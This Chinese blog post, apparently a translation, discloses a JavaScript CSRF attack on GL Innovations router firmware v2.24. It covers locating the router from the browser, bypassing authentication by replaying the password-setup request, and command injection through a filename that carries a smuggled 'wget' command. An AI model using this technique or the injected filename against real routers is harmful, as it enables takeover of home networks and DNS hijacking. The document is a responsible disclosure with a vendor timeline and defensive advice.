内网漫游之如何使用JavaScript在路由器上执行任意代码
作者:admin | 时间:2017-3-26 04:41:30 | 分类:黑客技术 隐藏侧边栏展开侧边栏
首先,让我们先来了解一下相关的技术背景。
我们都知道NAT(网络地址转换)技术,在路由器上被广泛使用。当你使用NAT路由器时,它会向你的机器自动分配一个广域网IP,以便让你的机器在互联网上唯一且可识别。同时,在你的本地局域网中,它也会随机地向你分配一个局域网IP。
这样,每当来自本地局域网的设备向公网发起请求时,路由器便会详细的记录该请求是由本地局域网中,哪个设备向哪个服务发起的请求。然后,当它成功从目标服务器获得响应时,它则会将其转发回本地局域网中IP所对应的设备。这也意味着,在大多数设置中,指向路由器的未经请求的数据包将被丢弃。
NAT的方法有很多。如图:
在这里,NAT路由器在严格意义上算不上是一个主动防火墙,而是在功能设计上类似于防火墙。本地网络中的计算机没有WAN IP,不能从因特网直接路由,因此难以直接定向。这也是大多数家庭网络和许多小型商业网络上,最接近防火墙的东西。
有趣的本地局域网JavaScript
我们通常会通过浏览器,来访问互联网上的各种Web服务器。除此之外,它还可以访问你本地局域网路由器上的Web服务器。攻击者通常无法从广域网直接访问到这些Web界面,但是由于网页具有交互性(虽然以有限的方式,由于同源策略的约束),因此在浏览器中运行的网页,也可以向本地网络中的Web服务器发起请求。如果这些Web服务器存有安全漏洞,那么我们只需在浏览器中运行相应的代码,就可以利用这些漏洞。
当本地的Web服务器缺乏稳健的CSRF(跨站点请求伪造)保护时,路由器将会接收并处理源自其控制之外的非法请求。这意味着,攻击者可以通过构造一个精心的恶意链接或跨站代码欺骗目标用户点击,就可以可直接定位到路由器漏洞页面,并强制劫持浏览器执行我们的恶意js代码。
其实除了js脚本外,还有许多其它的web语言也可以执行攻击操作。但我认为,JavaScript是最好的攻击脚本。
在过去的几年里,我们发现JavaScript驱动的CSRF漏洞利用工具包,利用路由器进行域欺骗( Pharming ),它们通过修改路由器的DNS设置,试图将用户引导到伪造的网站上,并诱使用户在钓鱼站点输入自己的登录凭证,窃取用户隐私数据。在最近的一个案例中我们发现,部分JavaScript漏洞利用代码被直接隐写和加密混淆在恶意图像文件的注释字段。然后在运行时被解密执行,并利用已知漏洞,更改本地路由器的DNS服务器。此外另个案例显示,恶意DNS服务器还会强制用户下载含恶意软件的Chrome安装程序。
在2016年年底,一些Netgear路由器被曝出存在远程命令注入漏洞(CVE-2016-6277)。虽然许多受影响的设备都属于高端型号,但从这里我们可以看出,Web接口的安全性显得微不足道。虽然他们实现了CSRF的保护,但这也没能避免Netgear被攻击的厄运 – 关于这个漏洞,主要问题在于cgi-bin URI只是简单的交由服务器处理,并且大意地将分号和命令附加到routerlogin.net/cgi-bin/ URI将导致任意代码执行。
为了更好地了解这些漏洞的工作原理,下面我将以我最近购买和研究的GL Innovations 2.24固件为例。
案例 – GL Innovations固件v2.24 – 利用剖析
GLi系列路由器是一款小型的可定制化路由器,主要针对那些想要对他们的Wi-Fi设备进行额外控制,却不想花费太多钱的用户。同时,他们的材料也对该路由器的安全性进行了说明,表示他们的路由器可以“避免黑客的入侵”。
所以,我买了一个看看。经过一段时间的研究,我发现了该路由器存在的两个问题:认证绕过和验证代码执行。
下面我将带大家详细了解,如何利用JavaScript为这个路由器写一个完整的exploit。完整利用代码可以在https://github.com/tests00/gli-js-driveby/找到。
GLi路由器默认登录IP为192.168.8.1,并分配标准/24范围内的IP地址。这里我们需要注意,路由器的默认IP和DHCP都可以被轻易的修改,因此不能保证在192.168.8.1一定能找到GLi路由器。
因此,我们接下来的第一步就是获取我们运行代码机器的本地IP地址。这里我们使用webRTC,来帮我们获取本地IP。在某些情况下,这种技术可能无法获取到精确地本地IP,但通常情况下它可以获取到IP的前三个字节,这对我们来说其实已经足够了,我们只需简单扫描,就能确定/24范围内的确切本地IP。
使用webRTC来查找主机的本地IP(部分修改):
虽然通过以上方法我们能找到路由器的IP,但是我们却无法保证IP地址始终不变。因此,我们需要一种具有一定程度确定性的办法来解决这个问题。
同源问题
这里有一些问题。由于同源策略对我们的限制,我们不能只弹出iframe并检查任何页面加载的内容。因此要突破这个限制,我们可以尝试加载GLi Web服务器上存放于特定位置的图片文件。在以下示例中,我将使用一张图片作为演示。
这个已知的图片文件,通常被称为“指纹”,我们可以在JavaScript路由器漏洞利用工具包中找到它。我们可以尝试将”指纹”与本地路由器匹配,只要有一个能成功匹配,我们就能获取到本地路由器的IP地址,同时还可以获取到路由器的制造商和型号信息。
因此,下面我将尝试从本地网络的254个可能的IP地址中,来加载我们的已知图片文件。在GLi上,我们正在寻找位置为http://192.168.20.x/images/75e.png的图片。当图片加载时,它将触发JavaScript的“onload”事件处理程序,该处理程序将告诉我们GLi所在的本地IP地址。现在我们已经知道了路由器确切的IP地址,下面我们就来触发exploit进行利用。
对C类进行循环遍历,尝试图片查找:
值得一提的是,GLi Web服务器根本没有开启CSRF保护。如果它有CSRF保护,那么我们则需要在Web应用程序中,通过查找XSS漏洞来绕过CSRF保护机制。GLi在其最新的2.25版固件中引入了CSRF保护令牌,你可以在文末找到该版本的更新链接。
认证绕过
通常在我们对路由器进行初始设置时,路由器都会强制要求用户设置特定长度的新root密码。这种机制是非常好的,它可以避免一些用户将密码留空或将密码设置的太过简单,从而免遭暴力破解的攻击。
但是不幸的是,这个初始设置功能存在一个安全隐患。只要我们重放初始密码设置请求,就能任意的设置新的root密码。不仅如此,经过我们对cookie的测试发现,每次浏览器向路由器发送请求,cookie值都未发生改变只是在重复请求。
值得注意的是,即使不存在这样的认证绕过漏洞,攻击者也可以通过爆破字典,来对这些没有CSRF保护的路由器进行暴力破解。
从以下控制台界面我们可以看到,虽然我们被SOP警告,但请求仍然成功:
代码注入
现在,我们已经得到了一个有效的登录cookie,接着我们就可以进行代码注入了。但是,如果我们直接将代码注入通常难以被识别。与许多嵌入式设备一样,GLi也运行自己的“API”- 通过一组存放在/cgi-bin/子目录中的二进制文件,来发送JSON格式的POST请求进行相应的设置。通常,最简单的方法是将固件包移植到其组件部分,并查看其内容。因为GLi运行的是OpenWRT的修改版本,因此我们还可以选择SFTP的方式,转储二进制文件。
当有二进制文件,对以root权限运行的Web服务器上的系统设置进行更改时,如果缺乏CSRF的保护,那么将有可能被非法利用。经过我对二进制文件的简单分析发现,在“openvpn_cgi”二进制文件中,存有一个可利用字段。该字段会对上传文件的扩展名进行判断,如果文件扩展名为.zip,它则会尝试通过将其直接传递到命令行来解压缩。
那么,是否我们可以通过利用一个伪造的.zip文件,来让其执行我们的注入命令呢?答案是肯定的。例如我们可以这样来命名文件:“x.zip \’; wget example.com; echo’”,此时让我们来查看下/tmp/openvpn_upload文件夹,可以看到example.com的主页已经被成功下载到了该目录:
以上两个安全漏洞,我已经通知给了GLi厂商,并且已经被修复。在最新的v2.25版本中,GLi已实现了CSRF令牌保护。因此,如果你当前所使用的固件仍为v2.24,你可以访问http://www.gl-inet.com/firmware/来获取当前的最新版固件。
总结
为了尽可能的避免遭受攻击,我强烈建议大家使用具有CSRF保护的路由设备。虽然,CSRF令牌通常可以利用XSS漏洞绕过。但是至少CSRF保护,可以让我们避免大多基于JavaScript的攻击。同时,我们还需要提高我们的安全意识,要知道任何具有Web界面的设备,都有可能遭到类似的攻击。还有就是,检查你的路由器DNS设置是否正确。
披露时间表:
15/12/2016 – 通知厂商认证绕过漏洞
16/12/2016 – 厂商回复
21/12/2016 – 厂商修复认证绕过漏洞,测试版固件发布
21/12/2016 - 通知厂商代码执行漏洞
21/12/2016 – 厂商回复
30/12/2016 – 厂商修复代码执行漏洞,并实现CSRF保护,beta版固件发布
11/01/2017 – v2.25固件发布
*参考来源 :pentestpartners,FB小编 secist 编译